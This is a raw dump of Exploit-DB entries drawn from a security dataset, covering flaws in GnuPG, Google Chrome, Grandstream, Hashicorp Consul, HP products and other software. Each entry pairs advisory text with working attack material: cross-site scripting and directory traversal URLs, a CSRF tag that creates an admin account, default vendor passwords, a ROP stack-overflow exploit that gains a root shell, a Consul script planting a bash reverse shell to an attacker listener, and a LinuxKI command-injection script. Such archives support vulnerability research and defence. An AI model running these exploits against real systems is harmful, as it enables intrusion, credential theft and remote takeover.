deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20889
Description: GNU Privacy Guard 1.0.x - Format String
Type: remote
Platform: multiple
Date: 2001-05-29
Author: fish stiqz

Exploit:
source: https://www.securityfocus.com/bid/2797/info

GnuPG is a popular open source public/private key encryption system.

It is possible for attackers to create an encrypted document that will exploit a format string vulnerability in the GnuPG client when the document is decrypted.

This vulnerability may lead to remote attackers gaining access to client hosts.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20889.tar.gz
Exploit-DB #21295
Description: GNUJSP 1.0 - File Disclosure
Type: remote
Platform: multiple
Date: 2002-02-19
Author: Thomas Springer

Exploit:
source: https://www.securityfocus.com/bid/4125/info

GNUJSP is a freely available, open-source implementation of Sun's Java Server Pages. It will run on most Unix and Linux variants, as well as Microsoft Windows NT/2000 operating systems.

It has been reported that a remote attacker may disclose the contents of directories via a specially crafted web request. This may be exploited to list directories, read the contents of arbitrary web-readable files, and disclose script source code. The attacker simply appends the name of the directory and/or file to be disclosed to a web request for /servlets/gnujsp/.

It should be noted that this may allow an attacker to circumvent .htaccess files.

This issue may be the result of a configuration error. 

http://site/servlets/gnujsp/[dirname]/[file]
Exploit-DB #33064
Description: Google Chrome 0.3.154 - 'JavaScript:' URI in 'Refresh' Header Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-06-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/35572/info


Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Chrome 1.0.154.48 is vulnerable; other versions may also be affected.

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie)
Exploit-DB #33123
Description: Google Chrome 2.0.172 - 'About:blank' Address Bar URI Spoofing 'About:blank' Address Bar URI Spoofing
Type: remote
Platform: multiple
Date: 2009-06-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/35839/info

Google Chrome is affected by a URI-spoofing vulnerability.

An attacker may leverage this issue by inserting arbitrary content to spoof a URI presented to an unsuspecting user. This may lead to a false sense of trust because the victim may be presented with a URI of a seemingly trusted site while interacting with the attacker's malicious site.

Chrome 2.0.172.37 is vulnerable; other versions may also be affected.

This issue is similar to the vulnerabilities discussed in BID 35803 (Mozilla Firefox Error Page Address Bar URI Spoofing Vulnerability) and BID 35829 (Apple Safari Error Page Address Bar URI Spoofing Vulnerability). 

<center> <h1>Chrome about:blank Spoof</h1> </center> This vulnerability is based on https://www.securityfocus.com/bid/35829/ and https://www.securityfocus.com/bid/35803 by Juan Pablo Lopez Yacubian and Michael Wood. <p> <a href='javascript:spoof()'><<h2>test Spoof !!</h2></a> <p> <script> function spoof() { a = window.open('http://www.example.com%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,') a.document.write('<H1>FAKE PAGE<\h1>') a.document.write('<title>test</title>') a.stop (); } </script>
Exploit-DB #33124
Description: Google Chrome 2.0.172 - 'chrome://history/' URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-06-28
Author: Karn Ganeshen

Exploit:
source: https://www.securityfocus.com/bid/35841/info

Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Chrome 2.0.172.37 is vulnerable; other versions may also be affected. 

chrome://history/#q=%22%3E%3Cmarquee%3E%3Ch1%3Ebikolinux%3C%2Fh1%3E%3C%2Fmarquee%3E

view-source:chrome://history/#q="><marquee><h1>bikolinux</h1></marquee>

chrome://history/#q=%22&#039;%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
%3E%3C%2Fiframe%3E

chrome://history/#q=%22&#039;%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
Exploit-DB #33562
Description: Google Chrome 3.0 - Style Sheet redirection Information Disclosure
Type: remote
Platform: multiple
Date: 2010-01-22
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/37917/info

Google Chrome is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks. 

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script>
Exploit-DB #24707
Description: Google Desktop Search - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-10-26
Author: Salvatore Aranzulla

Exploit:
source: https://www.securityfocus.com/bid/11541/info

Google Desktop Search is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize HTML tag content.

An attacker may leverage this issue to execute arbitrary client-side script code in an unsuspecting user's browser, facilitating theft of cookie-based authentication credentials and other attacks.

In the following URI the '<targetWebSite>' must be replaced with an arbitrary Web site:
http://<targetWebSite>/search?q=txt&meta="><script>alert("BUG")</script><a = "
Exploit-DB #30631
Description: Google Mini Search Appliance 3.4.14 - 'IE' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-09-20
Author: Websecurity

Exploit:
source: https://www.securityfocus.com/bid/25894/info

Google Mini Search Appliance is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Google Mini Search Appliance 3.4.14; other versions may also be affected.

http://www.example.com/search?ie=[ Evil Code ]&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x'
Exploit-DB #19222
Description: Gordano NTMail 4.2 - Web File Access
Type: remote
Platform: multiple
Date: 1999-05-25
Author: Marc

Exploit:
source: https://www.securityfocus.com/bid/279/info

A vulnerability in Gordano's NTMail allows remote malicious users to steal local files.

Gordano's NTMail is a Windows NT mail server program. One of its features is allowing administrators to configure the server and users to read their email with a web browser via a built-in web server.

The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. 

http://www.example.com:8000/../../../../../boot.ini
Exploit-DB #19903
Description: Gossamer Threads DBMan 2.0.4 - DBMan Information Leakage
Type: remote
Platform: multiple
Date: 2000-05-05
Author: Black Watch Labs

Exploit:
source: https://www.securityfocus.com/bid/1178/info

Requesting an invalid database file from a web server implementing Gossamer Threads DBMan scripts will return a CGI error message containing environmental variables to a remote user without any authorization. The parameters displayed include the local document root path, server administrator account name, web server software, platform, etc.

http://target/scripts/dbman/db.cgi?db=invalid-db
Exploit-DB #39292
Description: Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure
Type: remote
Platform: multiple
Date: 2014-08-26
Author: Eric Sesterhenn

Exploit:
source: https://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable. 

#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0;     # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret =  $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
    $fin = $fin + 1;
  }
  $ret = $ret / 2;
}

printf("final: %X \n", $fin);
Exploit-DB #52313
Description: Grandstream GSD3710 1.0.11.13 - Stack Overflow
Type: remote
Platform: multiple
Date: 2025-06-05
Author: Pepelux

Exploit:
#!/usr/bin/env python3

# Exploit Title:  Grandstream GSD3710 1.0.11.13 - Stack Overflow 
# Date: 2025-05-29
# Exploit Author: Pepelux
# Vendor Homepage: https://www.grandstream.com/
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2025

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

$ python 3 CVE-2022-2025.py -i DEVICE_IP -u USER -p PASSWORD
"""


from struct import pack
import sys
from time import sleep
import argparse
from pwn import *


def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # Add arguments
    parser.add_argument('-i', '--ip', type=str, required=True,
                        help='device IP address', dest="ip")
    parser.add_argument('-u', '--user', type=str, required=True,
                        help='username', dest="user")
    parser.add_argument('-p', '--pass', type=str, required=True,
                        help='password', dest="pwd")

    # Array for all arguments passed to script
    args = parser.parse_args()

    try:
        ip = args.ip
        user = args.user
        pwd = args.pwd

        return ip, user, pwd
    except ValueError:
        exit()
        
def check_badchars(payload):
    for i in range(5, len(payload)):
        if payload[i] in [0xd, 0xa, 0x3b, 0x7c, 0x20]:
            log.warn("Badchar %s detected at %#x" % (hex(payload[i]), i))
            return True
    return False


def main():
    ip, user, pwd = get_args()

    libc_base = 0x76bb8000
    gadget = libc_base + 0x5952C  # 0x0005952c: pop {r0, r4, pc};
    bin_sh = libc_base + 0xCEA9C  # /bin/sh
    system = libc_base + 0x2C7FD  # 0x0002c7fd  # system@libc
    exit = libc_base + 0x2660C

    print("[*] Libc base: %#x" % libc_base)
    print("[*] ROP gadget: %#x" % gadget)
    print("[*] /bin/sh: %#x" % bin_sh)
    print("[*] system: %#x" % system)
    print("[*] exit: %#x\n" % exit)

    padding = b"A" * 320

    payload = b'ping '
    payload += padding
    payload += p32(gadget)
    payload += p32(bin_sh)
    payload += b"AAAA"
    payload += p32(system)
    payload += p32(exit)

    if check_badchars(payload):
        sys.exit(0)

    count = 1

    while True:
        print('Try: %d' % count)
        s = ssh(user, ip, 22, pwd)
        p = s.shell(tty=False)
        print(p.readuntil(b"GDS3710> "))
        p.sendline(payload)
        p.sendline(b"id")
        sleep(1)
        data = p.read()
        if str(data).find('root') > -1:
            print('PWNED!')
            p.interactive()
            s.close()
            sys.exit()
        s.close()
        count += 1

if __name__ == '__main__':
    main()
Exploit-DB #33203
Description: GreenSQL Firewall 0.9.x - WHERE Clause Security Bypass
Type: remote
Platform: multiple
Date: 2009-09-02
Author: Johannes Dahse

Exploit:
source: https://www.securityfocus.com/bid/36209/info

GreenSQL Firewall is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions. Successfully exploiting this issue may aid in SQL attacks on the underlying application.

The following sample SQL expression is available:

x=y=z
Exploit-DB #31912
Description: GSC Client 1.00 2067 - Privilege Escalation
Type: remote
Platform: multiple
Date: 2008-06-14
Author: Michael Gray

Exploit:
source: https://www.securityfocus.com/bid/29718/info

GSC Client is prone to a privilege-escalation vulnerability because it fails to sufficiently validate administrator credentials.

An attacker can exploit this vulnerability to perform unauthorized administrative actions; other attacks are also possible.

GSC Client 1.00 2067 is vulnerable; other versions may also be affected.

NOTICE <user> :KICK <channel id> :<kick message>
Exploit-DB #51117
Description: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
Type: remote
Platform: multiple
Date: 2023-03-28
Author: GatoGamer1155

Exploit:
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul

import requests, sys

if len(sys.argv) < 6:
    print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
    exit(1)

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

try:
    requests.put(target, headers=headers, json=json)
    print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
    print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
Exploit-DB #35092
Description: Helix Server 14.0.1.571 - Administration Interface Cross-Site Request Forgery
Type: remote
Platform: multiple
Date: 2010-12-10
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/45340/info

Helix Server is prone to a cross-site request-forgery vulnerability.

An attacker can exploit this issue to perform unauthorized actions by enticing a logged-in user to visit a malicious site.

Helix Server 14.0.1.571 is vulnerable; other versions may also be affected. 

<html>
    <body>
        <img src="http://www.example.com/admin/auth.adduser.html?respage=config_results.nc.html&name=new_admin&pass=Password1&realm=TESTBOX.AdminRealm" />
    </body>
</html>
Exploit-DB #23600
Description: Herberlin BremsServer 1.2.4 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-01-26
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9491/info

BremsServer has been reported to contain cross-site scripting vulnerabilities. This issue is due to the server failing to check or filter user strings that are sent to the server. An attacker may exploit these issues by creating a link that includes embedded malicious HTML and script code and enticing a user to follow it. 

http://www.example.com/<script>alert("Test")</script>
Exploit-DB #34945
Description: Home File Share Server 0.7.2 32 - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-11-01
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44580/info

Home File Share Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Home File Share Server 0.7.2.32 is vulnerable; other versions may also be affected. 

http://www.example.com/RealFolder/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
Exploit-DB #48483
Description: HP LinuxKI 6.01 - Remote Command Injection
Type: remote
Platform: multiple
Date: 2020-05-18
Author: Cody Winkler

Exploit:
Exploit Title: HP LinuxKI 6.01 - Remote Command Injection
Date: 2020-05-17
Exploit Author: Cody Winkler
Vendor Homepage: https://www.hpe.com/us/en/home.html
Software Link: https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-1
Version: <= v6.0-1
Tested on: LinuxKI Docker Image
CVE: CVE-2020-7209

#!/usr/bin/env python3

import requests
import argparse
import sys
import re

def parse_options():

	formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=50)
	parser = argparse.ArgumentParser(description='HP LinuxKI <= 6.0-1 RCE - CVE-2020-7209', formatter_class=formatter)
	parser.add_argument("-i", "--ip", dest='host', type=str, help="Target Hostname/IP", required=True)
	parser.add_argument("-p", "--port", dest='port', type=str, help="Target Port", required=True)
	parser.add_argument("-c", "--cmd", dest='cmd', type=str, help="Command to execute", required=True)
	args = parser.parse_args()
	return args

def main(args):

	host = args.host
	port = args.port
	cmd = args.cmd
	path = '/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;echo BEGIN;%s;echo END;' % cmd
	rce = requests.get('http://' + host + ':' + port + path, verify=False)
	output = rce.text
	a, b = output.find('BEGIN'), output.find('END')
	print(output[a+6:b])

if __name__ in "__main__":
	args = parse_options()
	main(args)
Exploit-DB #33211
Description: HP Operations Dashboard 2.1 - Portal Default Manager Account Remote Security
Type: remote
Platform: multiple
Date: 2009-09-03
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/36258/info

HP Operations Dashboard is prone to a remote security vulnerability.

Operations Dashboard 2.1 for Windows is vulnerable; other versions may also be vulnerable. 

Attackers can exploit this issue using readily available tools. The following authentication credentials are available:

j2deployer:j2deployer
Exploit-DB #33210
Description: HP Operations Manager - Default Manager 8.1 Account Remote Security
Type: remote
Platform: multiple
Date: 2009-09-03
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/36253/info

HP Operations Manager is prone to a remote security vulnerability.

Operations Manager 8.1 for Windows is vulnerable; other versions may also be vulnerable.

NOTE: This issue may be related to the issue documented in BID 37086 (HP Operations Manager Remote Unauthorized Access Vulnerability), but this has not been confirmed.

Attackers can exploit this issue using readily available tools. The following authentication credentials are available:

ovwebusr:OvW*busr1
Exploit-DB #33078
Description: HP ProCurve Threat Management Services - zl ST.1.0.090213 Module CRL Security Bypass
Type: remote
Platform: multiple
Date: 2009-06-13
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/35659/info

HP ProCurve Threat Management Services zl Module is prone to a security-bypass vulnerability.

Successful exploits may allow attackers to bypass certain security restrictions, which may aid in launching further attacks.

ProCurve Threat Management Services zl Module J9155A running vST.1.0.090213 firmware or prior is vulnerable.

1. Go to VPN-->Certificates--> CRL page and load a CRL list.
2. Save the entire configuration.
3. Reboot the TMS zl Module.
4. Once the TMS zl Module is available, go to VPN--> Certificates--> CRL page and the CRL is no longer available.
Exploit-DB #33873
Description: HP System Management Homepage - 'RedirectUrl' Open Redirection
Type: remote
Platform: multiple
Date: 2010-04-25
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/39676/info

HP System Management Homepage is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

http://www.example.com/red2301.html?RedirectUrl=evil () attacker com
Exploit-DB #33569
Description: HP System Management Homepage 3.0.2 - 'servercert' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-01-27
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/37968/info

HP System Management Homepage, also known as Systems Insight Manager, is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. 

http://www.example.com/proxy/smhui/getuiinfo?JS&servercert=%0064e43<script>alert(1)</script>7b3f58a689f